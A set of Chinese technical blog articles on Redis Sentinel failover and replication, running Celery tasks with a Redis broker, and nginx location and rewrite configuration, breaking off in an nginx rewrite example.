很显然，只使用单个sentinel进程来监控redis集群是不可靠的，当sentinel进程宕掉后(sentinel本身也有单点问题，single-point-of-failure)整个集群系统将无法按照预期的方式运行。所以有必要将sentinel集群，这样有几个好处：


	即使有一些sentinel进程宕掉了，依然可以进行redis集群的主备切换；


	如果只有一个sentinel进程，如果这个进程运行出错，或者是网络堵塞，那么将无法实现redis集群的主备切换（单点问题）;


	如果有多个sentinel，redis的客户端可以随意地连接任意一个sentinel来获得关于redis集群中的信息。




Sentinel版本

Sentinel当前最新的稳定版本称为Sentinel 2(与之前的Sentinel 1区分开来）。随着redis2.8的安装包一起发行。安装完Redis2.8后，可以在redis2.8/src/里面找到Redis-sentinel的启动程序。

强烈建议：
如果你使用的是redis2.6(sentinel版本为sentinel 1)，你最好应该使用redis2.8版本的sentinel 2，因为sentinel 1有很多的Bug，已经被官方弃用，所以强烈建议使用redis2.8以及sentinel 2。



运行Sentinel

运行sentinel有两种方式：


	
第一种

redis-sentinel /path/to/sentinel.conf



	
第二种

redis-server /path/to/sentinel.conf --sentinel

以上两种方式，都必须指定一个sentinel的配置文件sentinel.conf，如果不指定，将无法启动sentinel。sentinel默认监听26379端口，所以运行前必须确定该端口没有被别的进程占用。





Sentinel的配置

Redis源码包中包含了一个sentinel.conf文件作为sentinel的配置文件，配置文件自带了关于各个配置项的解释。典型的配置项如下所示：

sentinel monitor mymaster 127.0.0.1 6379 2
sentinel down-after-milliseconds mymaster 60000
sentinel failover-timeout mymaster 180000
sentinel parallel-syncs mymaster 1

sentinel monitor resque 192.168.1.3 6380 4
sentinel down-after-milliseconds resque 10000
sentinel failover-timeout resque 180000
sentinel parallel-syncs resque 5


上面的配置项配置了两个名字分别为mymaster和resque的master，配置文件只需要配置master的信息就好啦，不用配置slave的信息，因为slave能够被自动检测到(master节点会有关于slave的消息)。需要注意的是，配置文件在sentinel运行期间是会被动态修改的，例如当发生主备切换时候，配置文件中的master会被修改为另外一个slave。这样，之后sentinel如果重启时，就可以根据这个配置来恢复其之前所监控的redis集群的状态。

接下来我们将一行一行地解释上面的配置项：

sentinel monitor mymaster 127.0.0.1 6379 2


这一行代表sentinel监控的master的名字叫做mymaster,地址为127.0.0.1:6379，行尾最后的一个2代表什么意思呢？我们知道，网络是不可靠的，有时候一个sentinel会因为网络堵塞而误以为一个master redis已经死掉了，当sentinel集群式，解决这个问题的方法就变得很简单，只需要多个sentinel互相沟通来确认某个master是否真的死了，这个2代表，当集群中有2个sentinel认为master死了时，才能真正认为该master已经不可用了。（sentinel集群中各个sentinel也有互相通信，通过gossip协议）。

除了第一行配置，我们发现剩下的配置都有一个统一的格式:

sentinel <option_name> <master_name> <option_value>


接下来我们根据上面格式中的option_name一个一个来解释这些配置项：

	down-after-milliseconds
sentinel会向master发送心跳PING来确认master是否存活，如果master在“一定时间范围”内不回应PONG 或者是回复了一个错误消息，那么这个sentinel会主观地(单方面地)认为这个master已经不可用了(subjectively down, 也简称为SDOWN)。而这个down-after-milliseconds就是用来指定这个“一定时间范围”的，单位是毫秒。




不过需要注意的是，这个时候sentinel并不会马上进行failover主备切换，这个sentinel还需要参考sentinel集群中其他sentinel的意见，如果超过某个数量的sentinel也主观地认为该master死了，那么这个master就会被客观地(注意哦，这次不是主观，是客观，与刚才的subjectively down相对，这次是objectively down，简称为ODOWN)认为已经死了。需要一起做出决定的sentinel数量在上一条配置中进行配置。



	parallel-syncs
在发生failover主备切换时，这个选项指定了最多可以有多少个slave同时对新的master进行同步，这个数字越小，完成failover所需的时间就越长，但是如果这个数字越大，就意味着越多的slave因为replication而不可用。可以通过将这个值设为 1 来保证每次只有一个slave处于不能处理命令请求的状态。




其他配置项在sentinel.conf中都有很详细的解释。
所有的配置都可以在运行时用命令SENTINEL SET command动态修改。

Sentinel的“仲裁会”

前面我们谈到，当一个master被sentinel集群监控时，需要为它指定一个参数，这个参数指定了当需要判决master为不可用，并且进行failover时，所需要的sentinel数量，本文中我们暂时称这个参数为票数

不过，当failover主备切换真正被触发后，failover并不会马上进行，还需要sentinel中的大多数sentinel授权后才可以进行failover。
当ODOWN时，failover被触发。failover一旦被触发，尝试去进行failover的sentinel会去获得“大多数”sentinel的授权（如果票数比大多数还要大的时候，则询问更多的sentinel)
这个区别看起来很微妙，但是很容易理解和使用。例如，集群中有5个sentinel，票数被设置为2，当2个sentinel认为一个master已经不可用了以后，将会触发failover，但是，进行failover的那个sentinel必须先获得至少3个sentinel的授权才可以实行failover。
如果票数被设置为5，要达到ODOWN状态，必须所有5个sentinel都主观认为master为不可用，要进行failover，那么得获得所有5个sentinel的授权。

配置版本号

为什么要先获得大多数sentinel的认可时才能真正去执行failover呢？

当一个sentinel被授权后，它将会获得宕掉的master的一份最新配置版本号，当failover执行结束以后，这个版本号将会被用于最新的配置。因为大多数sentinel都已经知道该版本号已经被要执行failover的sentinel拿走了，所以其他的sentinel都不能再去使用这个版本号。这意味着，每次failover都会附带有一个独一无二的版本号。我们将会看到这样做的重要性。

而且，sentinel集群都遵守一个规则：如果sentinel A推荐sentinel B去执行failover，B会等待一段时间后，自行再次去对同一个master执行failover，这个等待的时间是通过failover-timeout配置项去配置的。从这个规则可以看出，sentinel集群中的sentinel不会再同一时刻并发去failover同一个master，第一个进行failover的sentinel如果失败了，另外一个将会在一定时间内进行重新进行failover，以此类推。

redis sentinel保证了活跃性：如果大多数sentinel能够互相通信，最终将会有一个被授权去进行failover.
redis sentinel也保证了安全性：每个试图去failover同一个master的sentinel都会得到一个独一无二的版本号。

配置传播

一旦一个sentinel成功地对一个master进行了failover，它将会把关于master的最新配置通过广播形式通知其它sentinel，其它的sentinel则更新对应master的配置。

一个faiover要想被成功实行，sentinel必须能够向选为master的slave发送SLAVE OF NO ONE命令，然后能够通过INFO命令看到新master的配置信息。

当将一个slave选举为master并发送SLAVE OF NO ONE`后，即使其它的slave还没针对新master重新配置自己，failover也被认为是成功了的，然后所有sentinels将会发布新的配置信息。

新配在集群中相互传播的方式，就是为什么我们需要当一个sentinel进行failover时必须被授权一个版本号的原因。

每个sentinel使用##发布/订阅##的方式持续地传播master的配置版本信息，配置传播的##发布/订阅##管道是：__sentinel__:hello。

因为每一个配置都有一个版本号，所以以版本号最大的那个为标准。

举个栗子：假设有一个名为mymaster的地址为192.168.1.50:6379。一开始，集群中所有的sentinel都知道这个地址，于是为mymaster的配置打上版本号1。一段时候后mymaster死了，有一个sentinel被授权用版本号2对其进行failover。如果failover成功了，假设地址改为了192.168.1.50:9000，此时配置的版本号为2，进行failover的sentinel会将新配置广播给其他的sentinel，由于其他sentinel维护的版本号为1，发现新配置的版本号为2时，版本号变大了，说明配置更新了，于是就会采用最新的版本号为2的配置。

这意味着sentinel集群保证了第二种活跃性：一个能够互相通信的sentinel集群最终会采用版本号最高且相同的配置。

SDOWN和ODOWN的更多细节

sentinel对于不可用有两种不同的看法，一个叫主观不可用(SDOWN),另外一个叫客观不可用(ODOWN)。SDOWN是sentinel自己主观上检测到的关于master的状态，ODOWN需要一定数量的sentinel达成一致意见才能认为一个master客观上已经宕掉，各个sentinel之间通过命令SENTINEL is_master_down_by_addr来获得其它sentinel对master的检测结果。

从sentinel的角度来看，如果发送了PING心跳后，在一定时间内没有收到合法的回复，就达到了SDOWN的条件。这个时间在配置中通过is-master-down-after-milliseconds参数配置。

当sentinel发送PING后，以下回复之一都被认为是合法的：

PING replied with +PONG.
PING replied with -LOADING error.
PING replied with -MASTERDOWN error.


其它任何回复（或者根本没有回复）都是不合法的。

从SDOWN切换到ODOWN不需要任何一致性算法，只需要一个gossip协议：如果一个sentinel收到了足够多的sentinel发来消息告诉它某个master已经down掉了，SDOWN状态就会变成ODOWN状态。如果之后master可用了，这个状态就会相应地被清理掉。

正如之前已经解释过了，真正进行failover需要一个授权的过程，但是所有的failover都开始于一个ODOWN状态。

ODOWN状态只适用于master，对于不是master的redis节点sentinel之间不需要任何协商，slaves和sentinel不会有ODOWN状态。

Sentinel之间和Slaves之间的自动发现机制

虽然sentinel集群中各个sentinel都互相连接彼此来检查对方的可用性以及互相发送消息。但是你不用在任何一个sentinel配置任何其它的sentinel的节点。因为sentinel利用了master的发布/订阅机制去自动发现其它也监控了统一master的sentinel节点。

通过向名为__sentinel__:hello的管道中发送消息来实现。

同样，你也不需要在sentinel中配置某个master的所有slave的地址，sentinel会通过询问master来得到这些slave的地址的。

每个sentinel通过向每个master和slave的发布/订阅频道__sentinel__:hello每秒发送一次消息，来宣布它的存在。
每个sentinel也订阅了每个master和slave的频道__sentinel__:hello的内容，来发现未知的sentinel，当检测到了新的sentinel，则将其加入到自身维护的master监控列表中。
每个sentinel发送的消息中也包含了其当前维护的最新的master配置。如果某个sentinel发现
自己的配置版本低于接收到的配置版本，则会用新的配置更新自己的master配置。

在为一个master添加一个新的sentinel前，sentinel总是检查是否已经有sentinel与新的sentinel的进程号或者是地址是一样的。如果是那样，这个sentinel将会被删除，而把新的sentinel添加上去。

网络隔离时的一致性

redis sentinel集群的配置的一致性模型为最终一致性，集群中每个sentinel最终都会采用最高版本的配置。然而，在实际的应用环境中，有三个不同的角色会与sentinel打交道：


	Redis实例.


	Sentinel实例.


	客户端.




为了考察整个系统的行为我们必须同时考虑到这三个角色。

下面有个简单的例子，有三个主机，每个主机分别运行一个redis和一个sentinel:

             +-------------+
             | Sentinel 1  | <--- Client A
             | Redis 1 (M) |
             +-------------+
                     |
                     |
 +-------------+     |                     +------------+
 | Sentinel 2  |-----+-- / partition / ----| Sentinel 3 | <--- Client B
 | Redis 2 (S) |                           | Redis 3 (M)|
 +-------------+                           +------------+

在这个系统中，初始状态下redis3是master, redis1和redis2是slave。之后redis3所在的主机网络不可用了，sentinel1和sentinel2启动了failover并把redis1选举为master。

Sentinel集群的特性保证了sentinel1和sentinel2得到了关于master的最新配置。但是sentinel3依然持着的是就的配置，因为它与外界隔离了。

当网络恢复以后，我们知道sentinel3将会更新它的配置。但是，如果客户端所连接的master被网络隔离，会发生什么呢？

客户端将依然可以向redis3写数据，但是当网络恢复后，redis3就会变成redis的一个slave，那么，在网络隔离期间，客户端向redis3写的数据将会丢失。

也许你不会希望这个场景发生：


	如果你把redis当做缓存来使用，那么你也许能容忍这部分数据的丢失。


	但如果你把redis当做一个存储系统来使用，你也许就无法容忍这部分数据的丢失了。




因为redis采用的是异步复制，在这样的场景下，没有办法避免数据的丢失。然而，你可以通过以下配置来配置redis3和redis1，使得数据不会丢失。

min-slaves-to-write 1
min-slaves-max-lag 10

通过上面的配置，当一个redis是master时，如果它不能向至少一个slave写数据(上面的min-slaves-to-write指定了slave的数量)，它将会拒绝接受客户端的写请求。由于复制是异步的，master无法向slave写数据意味着slave要么断开连接了，要么不在指定时间内向master发送同步数据的请求了(上面的min-slaves-max-lag指定了这个时间)。

Sentinel状态持久化

snetinel的状态会被持久化地写入sentinel的配置文件中。每次当收到一个新的配置时，或者新创建一个配置时，配置会被持久化到硬盘中，并带上配置的版本戳。这意味着，可以安全的停止和重启sentinel进程。
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概述

Redis的replication机制允许slave从master那里通过网络传输拷贝到完整的数据备份。具有以下特点：


	异步复制。从2.8版本开始，slave能不时地从master那里获取到数据。


	允许单个master配置多个slave


	slave允许其它slave连接到自己。一个slave除了可以连接master外，它还可以连接其它的slave。形成一个图状的架构。


	master在进行replication时是非阻塞的，这意味着在replication期间，master依然能够处理客户端的请求。


	slave在replication期间也是非阻塞的，也可以接受来自客户端的请求，但是它用的是之前的旧数据。可以通过配置来决定slave是否在进行replication时用旧数据响应客户端的请求，如果配置为否，那么slave将会返回一个错误消息给客户端。不过当新的数据接收完全后，必须将新数据与旧数据替换，即删除旧数据，在替换数据的这个时间窗口内，slave将会拒绝客户端的请求和连接。


	一般使用replication来可以实现扩展性，例如说，可以将多个slave配置为“只读”，或者是纯粹的数据冗余备份。


	能够通过replication来避免master每次持久化时都将整个数据集持久化到硬盘中。只需把master配置为不进行save操作(把配置文件中save相关的配置项注释掉即可)，然后连接上一个slave，这个slave则被配置为不时地进行save操作的。不过需要注意的是，在这个用例中，必须确保master不会自动启动。更多详情请继续往下读。




Master持久化功能关闭时Replication的安全性

当有需要使用到replication机制时，一般都会强烈建议把master的持久化开关打开。即使为了避免持久化带来的延迟影响，不把持久化开关打开，那么也应该把master配置为不会自动启动的。

为了更好地理解当一个不进行持久化的master如果允许自动启动所带来的危险性。可以看看下面这种失败情形：

假设我们有一个redis节点A，设置为master，并且关闭持久化功能，另外两个节点B和C是它的slave，并从A复制数据。



如果A节点崩溃了导致所有的数据都丢失了，它会有重启系统来重启进程。但是由于持久化功能被关闭了，所以即使它重启了，它的数据集是空的。
而B和C依然会通过replication机制从A复制数据，所以B和C会从A那里复制到一份空的数据集，并用这份空的数据集将自己本身的非空的数据集替换掉。于是就相当于丢失了所有的数据。

即使使用一些HA工具，比如说sentinel来监控master-slaves集群，也会发生上述的情形，因为master可能崩溃后迅速恢复。速度太快而导致sentinel无法察觉到一个failure的发生。

当数据的安全很重要、持久化开关被关闭并且有replication发生的时候，那么应该禁止实例的自启动。

replication工作原理

如果你为master配置了一个slave，不管这个slave是否是第一次连接上Master，它都会发送一个SYNC命令给master请求复制数据。

master收到SYNC命令后，会在后台进行数据持久化，持久化期间，master会继续接收客户端的请求，它会把这些可能修改数据集的请求缓存在内存中。当持久化进行完毕以后，master会把这份数据集发送给slave，slave会把接收到的数据进行持久化，然后再加载到内存中。然后，master再将之前缓存在内存中的命令发送给slave。

当master与slave之间的连接由于某些原因而断开时，slave能够自动重连Master，如果master收到了多个slave并发连接请求，它只会进行一次持久化，而不是一个连接一次，然后再把这一份持久化的数据发送给多个并发连接的slave。

当master和slave断开重连后，一般都会对整份数据进行复制。但从redis2.8版本开始，支持部分复制。

数据部分复制

从2.8版本开始，slave与master能够在网络连接断开重连后只进行部分数据复制。

master会在其内存中创建一个复制流的等待队列，master和它所有的slave都维护了复制的数据下标和master的进程id，因此，当网络连接断开后，slave会请求master继续进行未完成的复制，从所记录的数据下标开始。如果进程id变化了，或者数据下标不可用，那么将会进行一次全部数据的复制。

支持部分数据复制的命令是PSYNC

不需硬盘参与的Replication

一般情况下，一次复制需要将内存的数据写到硬盘中，再将数据从硬盘读进内存，再发送给slave。

对于速度比较慢的硬盘，这个操作会给master带来性能上的损失。Redis2.8版本开始，实验性地加上了无硬盘复制的功能。这个功能能将数据从内存中直接发送到slave，而不用经过硬盘的存储。

不过这个功能目前处于实验阶段，还未正式发布。



相关配置

与replication相关的配置比较简单，只需要把下面一行加到slave的配置文件中：

slaveof 192.168.1.1 6379

你只需要把ip地址和端口号改一下。当然，你也可以通过客户端发送SLAVEOF命令给slave。

部分数据复制有一些可调的配置参数，请参考redis.conf文件。

无硬盘复制功能可以通过repl-diskless-sync来配置，另外一个配置项repl-diskless-sync-delay用来配置当收到第一个请求时，等待多个slave一起来请求之间的间隔时间。

只读的slave

从redis2.6版本开始，slave支持只读模式，而且是默认的。可以通过配置项slave-read-only来进行配置，并且支持客户端使用CONFIG SET命令来动态修改配置。

只读的slave会拒绝所有的写请求，只读的slave并不是为了防范不可信的客户端，毕竟一些管理命令例如DEBUG和CONFIG在只读模式下还是可以使用的。如果确实要确保安全性，那么可以在配置文件中将一些命令重新命名。

也许你会感到很奇怪，为什么能够将一个只读模式的slave恢复为可写的呢，尽管可写，但是只要slave一同步master的数据，就会丢失那些写在slave的数据。不过还是有一些合法的应用场景需要存储瞬时数据会用到这个特性。不过，之后可能会考虑废除掉这个特性。

Setting a slave to authenticate to a master

如果master通过requirepass配置项设置了密码，slave每次同步操作都需要验证密码，可以通过在slave的配置文件中添加以下配置项：

masterauth <password>

也可以通过客户端在运行时发送以下命令：

config set masterauth <password>

至少N个slave才允许向master写数据

从redis2.8版本开始，master可以被配置为，只有当master当前有至少N个slave连接着的时候才接受写数据的请求。

然而，由于redis是异步复制的，所以它并不能保证slave会受到一个写请求，所以总有一个数据丢失的时间窗口存在。

这个机制的工作原理如下所示：


	slave每秒发送ping心跳给master，询问当前复制了多少数据。


	master会记录下它上次收到某个slave的ping心跳是什么时候。


	使用者可以配置一个时间，来指定ping心跳的发送不应超过的一个超时时间




如果master有至少N个slave，并且ping心跳的超时不超过M秒，那么它就会接收写请求。

也许你会认为这情形好似CAP理论中弱化版的C(consistency)，因为写请求并不能保证数据的一致性，但这样做，至少数据丢失被限制在了限定的时间内。即M秒。

如果N和M的条件都无法达到，那么master会回复一个错误信息。写请求也不会被处理。

有两个配置项用来配置上文中提到的N和M：

    min-slaves-to-write <number of slaves>
    min-slaves-max-lag <number of seconds>

如果需要了解更多，请查阅redis.conf配置文件。
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Celery 是一个广泛应用于网络应用程序的任务处理系统。

它可以在以下情况下使用:

在请求响应周期中做网络调用。服务器应当立即响应任何网络请求。如果在请求响应周期内需要进行网络调用，则应在周期外完成调用。例如当用户在网站上注册时，需要发送激活邮件。发送邮件是一种网络调用，耗时2到3秒。用户应该无需等待这2到3秒。因此，发送激活邮件应当在请求响应周期外完成，celery 就能实现这一点。

将一个由几个独立部分组成的大任务分成多个小任务。假设你想知道脸书用户的时间流。脸书提供不同的端点来获取不同的数据。譬如，一个端点用以获取用户时间流中的图片，一个端点获取用户时间流中的博文，一个端点得到用户的点赞信息等。如果你的函数需要和脸书的5个端点依此通信，每个网络调用平均耗时2秒，你将需要10秒完成一次函数执行。但是，你可以把这项工作分为5个独立的任务（你很快就会发现这很容易做到），并让 celery 来处理这些任务。Celery 可以并行地与这5个端点通信，在2秒之内就能得到所有端点的响应。

简单的 celery 例子

假设我们有一个函数，并传给它一个网址列表。该函数需要获取这些网址的响应。

没有使用 celery

创建文件celery_blog.py：

import requests
import time

def func(urls):
    start = time.time()
    for url in urls:
        resp = requests.get(url)
        print resp.status_code
    print "It took", time.time() - start, "seconds"

if __name__ == "__main__":
    func(["http://oneapm.com", "http://jd.com", "https://taobao.com", "http://baidu.com", "http://news.oneapm.com"])

运行：

python celery_blog.py

输出：


使用 celery

调用 celery 的程序中最重要的组成部分为 celery worker。

在 web 应用程序注册的例子中，celery worker 用于发送邮件。

在脸书的例子中， celery worker 用于获取不同的网址。

在我们的 celery_blog.py 例子中， celery worker 用于获取 URL。
celery worker 和你的应用程序/脚本是不同的进程，彼此独立运行。所以你的应用程序/脚本和 celery 需要一些方法来相互沟通。

应用程序代码需要把任务放在 celery worker 可以取出并执行的位置。譬如，应用程序代码将任务放在消息队列中，celery worker 从消息队列领取任务并执行任务。我们将使用 Redis 作为消息队列。

请确认你已安装 Redis，并可以运行redis-server。

请确认你已安装 celery。

修改文件 celery_blog.py，如下：

from celery import Celery
 
app = Celery('celery_blog',broker='redis://localhost:6379/1')

@app.task
def fetch_url(url):
     resp = requests.get(url)
     print resp.status_code
 
def func(urls):
     for url in urls:
       fetch_url.delay(url)
    
if __name__ == "__main__":
     func(["http://oneapm.com", "http://jd.com", "https://taobao.com", "http://baidu.com", "http://news.oneapm.com"])

代码解释：我们需要一个 celery 实例来启动程序，因此创建了一个名为 app 的 celery 实例。

在3个终端中启动：

第一个终端，运行 redis-server

第二个终端，运行 celery worker -A celery_blog -l info -c 5 ，通过输出可以看到 celery 成功运行。

第三个终端，运行脚本 python celery_blog.py 

可以看到第二个终端输出如下：



将 celery 代码和配置保存在不同文件中

上面的例子中，我们只写了一个 celery 任务。但您的项目可能涉及多个模块，您可能希望在不同的模块中有不同的任务。所以让我们将 celery 配置移到单独的文件中。

创建 celery_config.py

from celery import Celery

app = Celery('celery_config', broker='redis://localhost:6379/0', include=['celery_blog'])

修改 celery_blog.py 代码如下：

import  requests
from celery_config import app

@app.task
def fetch_url(url):
     resp = requests.get(url)
     print resp.status_code

def func(urls):
    for url in urls:
       fetch_url.delay(url)
    
if __name__ == "__main__":
    func(["http://oneapm.com", "http://jd.com", "https://taobao.com", "http://baidu.com", "http://news.oneapm.com"])

停掉之前的 celery worker ，运行：

celery worker -A celery_config -l info -c 5

打开 ipython ，运行如下命令：

In [1]: from celery_blog import func
In [2]: func(["http://oneapm.com", "http://jd.com", "https://taobao.com", "http://baidu.com", "http://news.oneapm.com"])

输出如下：



在不同文件中添加新的任务

您可以添加新的模块，并在该模块中定义一个任务。用以下内容创建一个模块 celery_add.py：

from celery_config import app

@app.task
def add(a, b):
    return a + b

改变 celery_config.py 包含新的模块 celery_add.py，如下：

from celery import Celery

app = Celery('celery_config', broker='redis://localhost:6379/0', include=['celery_blog', 'celery_add'])

在 ipython 输入：

In [1]: from celery_add import add
In [2]: add.delay(4, 5)

输出如下：



在不同的机器上分开使用 Redis 和 celery

到目前为止，我们的脚本、celery worker 和 Redis 都运行在同一机器中。其实并无这种必要，这三者可以运行在不同机器上。

celery 任务涉及到网络请求，因此，在网络优化的机器上使用 celery worker 能提高任务运行速度。Redis 是一种内存数据库，在内存优化的机器上运行效率更高。

在这个例子中，我将在本地系统运行脚本和 celery worker，在分开的服务器上运行 Redis。

修改 celery_config.py 为：

app = Celery('celery_config', broker='redis://192.168.118.148:6379/0', include=['celery_blog'])



现在我运行任何任务，脚本都将把他放在 Redis 运行的服务器（192.168.118.148）上面。

celery worker 也与 192.168.118.148 沟通,在这个 Redis 服务器上得到任务并执行它。

注意:您必须使用正在运行 redis-server 的服务器地址。我的服务器已停止Redis,所以你将无法连接到 Redis。

参考文章：Getting started with Celery and Redis

本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。
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location正则写法


一个示例：


location  = / {
  # 精确匹配 / ，主机名后面不能带任何字符串
  [ configuration A ] 
}

location  / {
  # 因为所有的地址都以 / 开头，所以这条规则将匹配到所有请求
  # 但是正则和最长字符串会优先匹配
  [ configuration B ] 
}

location /documents/ {
  # 匹配任何以 /documents/ 开头的地址，匹配符合以后，还要继续往下搜索
  # 只有后面的正则表达式没有匹配到时，这一条才会采用这一条
  [ configuration C ] 
}

location ~ /documents/Abc {
  # 匹配任何以 /documents/ 开头的地址，匹配符合以后，还要继续往下搜索
  # 只有后面的正则表达式没有匹配到时，这一条才会采用这一条
  [ configuration CC ] 
}

location ^~ /images/ {
  # 匹配任何以 /images/ 开头的地址，匹配符合以后，停止往下搜索正则，采用这一条。
  [ configuration D ] 
}

location ~* \.(gif|jpg|jpeg)$ {
  # 匹配所有以 gif,jpg或jpeg 结尾的请求
  # 然而，所有请求 /images/ 下的图片会被 config D 处理，因为 ^~ 到达不了这一条正则
  [ configuration E ] 
}

location /images/ {
  # 字符匹配到 /images/，继续往下，会发现 ^~ 存在
  [ configuration F ] 
}

location /images/abc {
  # 最长字符匹配到 /images/abc，继续往下，会发现 ^~ 存在
  # F与G的放置顺序是没有关系的
  [ configuration G ] 
}

location ~ /images/abc/ {
  # 只有去掉 config D 才有效：先最长匹配 config G 开头的地址，继续往下搜索，匹配到这一条正则，采用
    [ configuration H ] 
}

location ~* /js/.*/\.js




	已=开头表示精确匹配

如 A 中只匹配根目录结尾的请求，后面不能带任何字符串。

	
^~ 开头表示uri以某个常规字符串开头，不是正则匹配

	~ 开头表示区分大小写的正则匹配;

	~* 开头表示不区分大小写的正则匹配

	/ 通用匹配, 如果没有其它匹配,任何请求都会匹配到



顺序 no优先级：

(location =) > (location 完整路径) > (location ^~ 路径) > (location ~,~* 正则顺序) > (location 部分起始路径) > (/)


上面的匹配结果

按照上面的location写法，以下的匹配示例成立：



	/ -> config A

精确完全匹配，即使/index.html也匹配不了

	/downloads/download.html -> config B

匹配B以后，往下没有任何匹配，采用B

	/images/1.gif -> configuration D

匹配到F，往下匹配到D，停止往下

	/images/abc/def -> config D

最长匹配到G，往下匹配D，停止往下

你可以看到 任何以/images/开头的都会匹配到D并停止，FG写在这里是没有任何意义的，H是永远轮不到的，这里只是为了说明匹配顺序

	/documents/document.html -> config C

匹配到C，往下没有任何匹配，采用C

	/documents/1.jpg -> configuration E

匹配到C，往下正则匹配到E

	/documents/Abc.jpg -> config CC

最长匹配到C，往下正则顺序匹配到CC，不会往下到E



实际使用建议


所以实际使用中，个人觉得至少有三个匹配规则定义，如下：
#直接匹配网站根，通过域名访问网站首页比较频繁，使用这个会加速处理，官网如是说。
#这里是直接转发给后端应用服务器了，也可以是一个静态首页
# 第一个必选规则
location = / {
    proxy_pass http://tomcat:8080/index
}
# 第二个必选规则是处理静态文件请求，这是nginx作为http服务器的强项
# 有两种配置模式，目录匹配或后缀匹配,任选其一或搭配使用
location ^~ /static/ {
    root /webroot/static/;
}
location ~* \.(gif|jpg|jpeg|png|css|js|ico)$ {
    root /webroot/res/;
}
#第三个规则就是通用规则，用来转发动态请求到后端应用服务器
#非静态文件请求就默认是动态请求，自己根据实际把握
#毕竟目前的一些框架的流行，带.php,.jsp后缀的情况很少了
location / {
    proxy_pass http://tomcat:8080/
}



http://tengine.taobao.org/book/chapter_02.html
http://nginx.org/en/docs/http/ngx_http_rewrite_module.html


Rewrite规则


rewrite功能就是，使用nginx提供的全局变量或自己设置的变量，结合正则表达式和标志位实现url重写以及重定向。rewrite只能放在server{},location{},if{}中，并且只能对域名后边的除去传递的参数外的字符串起作用，例如 http://seanlook.com/a/we/index.php?id=1&u=str 只对/a/we/index.php重写。语法rewrite regex replacement [flag];


如果相对域名或参数字符串起作用，可以使用全局变量匹配，也可以使用proxy_pass反向代理。


表明看rewrite和location功能有点像，都能实现跳转，主要区别在于rewrite是在同一域名内更改获取资源的路径，而location是对一类路径做控制访问或反向代理，可以proxy_pass到其他机器。很多情况下rewrite也会写在location里，它们的执行顺序是：



	执行server块的rewrite指令

	执行location匹配

	执行选定的location中的rewrite指令



如果其中某步URI被重写，则重新循环执行1-3，直到找到真实存在的文件；循环超过10次，则返回500 Internal Server Error错误。


flag标志位



	
last : 相当于Apache的[L]标记，表示完成rewrite

	
break : 停止执行当前虚拟主机的后续rewrite指令集

	
redirect : 返回302临时重定向，地址栏会显示跳转后的地址

	
permanent : 返回301永久重定向，地址栏会显示跳转后的地址



因为301和302不能简单的只返回状态码，还必须有重定向的URL，这就是return指令无法返回301,302的原因了。这里 last 和 break 区别有点难以理解：



	last一般写在server和if中，而break一般使用在location中

	last不终止重写后的url匹配，即新的url会再从server走一遍匹配流程，而break终止重写后的匹配

	break和last都能组织继续执行后面的rewrite指令



if指令与全局变量


if判断指令

语法为if(condition){...}，对给定的条件condition进行判断。如果为真，大括号内的rewrite指令将被执行，if条件(conditon)可以是如下任何内容：



	当表达式只是一个变量时，如果值为空或任何以0开头的字符串都会当做false

	直接比较变量和内容时，使用=或!=


	
~正则表达式匹配，~*不区分大小写的匹配，!~区分大小写的不匹配



-f和!-f用来判断是否存在文件
-d和!-d用来判断是否存在目录
-e和!-e用来判断是否存在文件或目录
-x和!-x用来判断文件是否可执行


例如：


if ($http_user_agent ~ MSIE) {
    rewrite ^(.*)$ /msie/$1 break;
} //如果UA包含"MSIE"，rewrite请求到/msid/目录下

if ($http_cookie ~* "id=([^;]+)(?:;|$)") {
    set $id $1;
 } //如果cookie匹配正则，设置变量$id等于正则引用部分

if ($request_method = POST) {
    return 405;
} //如果提交方法为POST，则返回状态405（Method not allowed）。return不能返回301,302

if ($slow) {
    limit_rate 10k;
} //限速，$slow可以通过 set 指令设置

if (!-f $request_filename){
    break;
    proxy_pass  http://127.0.0.1; 
} //如果请求的文件名不存在，则反向代理到localhost 。这里的break也是停止rewrite检查

if ($args ~ post=140){
    rewrite ^ http://example.com/ permanent;
} //如果query string中包含"post=140"，永久重定向到example.com

location ~* \.(gif|jpg|png|swf|flv)$ {
    valid_referers none blocked www.jefflei.com www.leizhenfang.com;
    if ($invalid_referer) {
        return 404;
    } //防盗链
}



全局变量

下面是可以用作if判断的全局变量



	
$args ： #这个变量等于请求行中的参数，同$query_string


	
$content_length ： 请求头中的Content-length字段。

	
$content_type ： 请求头中的Content-Type字段。

	
$document_root ： 当前请求在root指令中指定的值。

	
$host ： 请求主机头字段，否则为服务器名称。

	
$http_user_agent ： 客户端agent信息

	
$http_cookie ： 客户端cookie信息

	
$limit_rate ： 这个变量可以限制连接速率。

	
$request_method ： 客户端请求的动作，通常为GET或POST。

	
$remote_addr ： 客户端的IP地址。

	
$remote_port ： 客户端的端口。

	
$remote_user ： 已经经过Auth Basic Module验证的用户名。

	
$request_filename ： 当前请求的文件路径，由root或alias指令与URI请求生成。

	
$scheme ： HTTP方法（如http，https）。

	
$server_protocol ： 请求使用的协议，通常是HTTP/1.0或HTTP/1.1。

	
$server_addr ： 服务器地址，在完成一次系统调用后可以确定这个值。

	
$server_name ： 服务器名称。

	
$server_port ： 请求到达服务器的端口号。

	
$request_uri ： 包含请求参数的原始URI，不包含主机名，如：”/foo/bar.php?arg=baz”。

	
$uri ： 不带请求参数的当前URI，$uri不包含主机名，如”/foo/bar.html”。

	
$document_uri ： 与$uri相同。



例：http://localhost:88/test1/test2/test.php

$host：localhost

$server_port：88

$request_uri：http://localhost:88/test1/test2/test.php

$document_uri：/test1/test2/test.php

$document_root：/var/www/html

$request_filename：/var/www/html/test1/test2/test.php


常用正则



	
. ： 匹配除换行符以外的任意字符

	
? ： 重复0次或1次

	
+ ： 重复1次或更多次

	
* ： 重复0次或更多次

	
\d ：匹配数字

	
^ ： 匹配字符串的开始

	
$ ： 匹配字符串的介绍

	
{n} ： 重复n次

	
{n,} ： 重复n次或更多次

	
[c] ： 匹配单个字符c

	
[a-z] ： 匹配a-z小写字母的任意一个



小括号()之间匹配的内容，可以在后面通过$1来引用，$2表示的是前面第二个()里的内容。正则里面容易让人困惑的是\转义特殊字符。


rewrite实例


例1：


http {
    # 定义image日志格式
    log_format imagelog '[$time_local] ' $image_file ' ' $image_type ' ' $body_bytes_sent ' ' $status;
    # 开启重写日志
    rewrite_log on;

    server {
        root /home/www;

        location / {
                # 重写规则信息
                error_log logs/rewrite.log notice; 
                # 注意这里要用‘’单引号引起来，避免{}
